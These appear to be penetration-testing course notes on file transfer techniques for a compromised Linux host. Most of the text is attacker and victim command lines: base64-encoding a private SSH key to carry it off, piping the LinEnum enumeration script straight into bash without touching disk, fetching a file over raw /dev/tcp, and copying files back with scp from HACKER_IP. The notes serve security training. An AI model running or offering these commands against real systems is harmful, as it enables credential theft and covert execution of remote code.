Base64 Encoding / Decoding

HACKER

$ cat id_rsa |base64 -w 0;echo

VICTIM

$ echo -n '<BASE_64>' | base64 -d > id_rsa

Confirming hashes:

$ md5sum id_rsa

Web Downloads with Wget and cURL

Two of the most common utilities in Linux distributions to interact with web applications are wget and curl. These tools are installed on many Linux distributions.

VICTIM

$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

VICTIM

$ curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Fileless Attacks Using Linux

Because of the way Linux works and how pipes operate, most of the tools we use in Linux can be used to replicate fileless operations, which means that we don't have to download a file to execute it.

Note: Some payloads such as mkfifo write files to disk. Keep in mind that while the execution of the payload may be fileless when you use a pipe, depending on the payload chosen it may create temporary files on the OS.

Let's take the cURL command we used, and instead of downloading LinEnum.sh, let's execute it directly using a pipe.

VICTIM : Fileless Download curl

$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

VICTIM : Fileless Download wget

$ wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Download with Bash (/dev/tcp)

Connect to the Target Webserver

 $ exec 3<>/dev/tcp/10.10.10.32/80

HTTP GET Request

 $ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Print the Response

 $ cat <&3

SSH Downloads

SSH (or Secure Shell) is a protocol that allows secure access to remote computers. SSH implementation comes with an SCP utility for remote file transfer that, by default, uses the SSH protocol.

SCP (secure copy) is a command-line utility that allows you to copy files and directories between two hosts securely. We can copy our files from local to remote servers and from remote servers to our local machine.

SCP is very similar to copy or cp, but instead of providing a local path, we need to specify a username, the remote IP address or DNS name, and the user's credentials.

HACKER

$ sudo systemctl enable ssh
$ sudo systemctl start ssh
$ netstat -lnpt

VICTIM

$ scp plaintext@HACKER_IP:/root/myroot.txt .

Note: You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.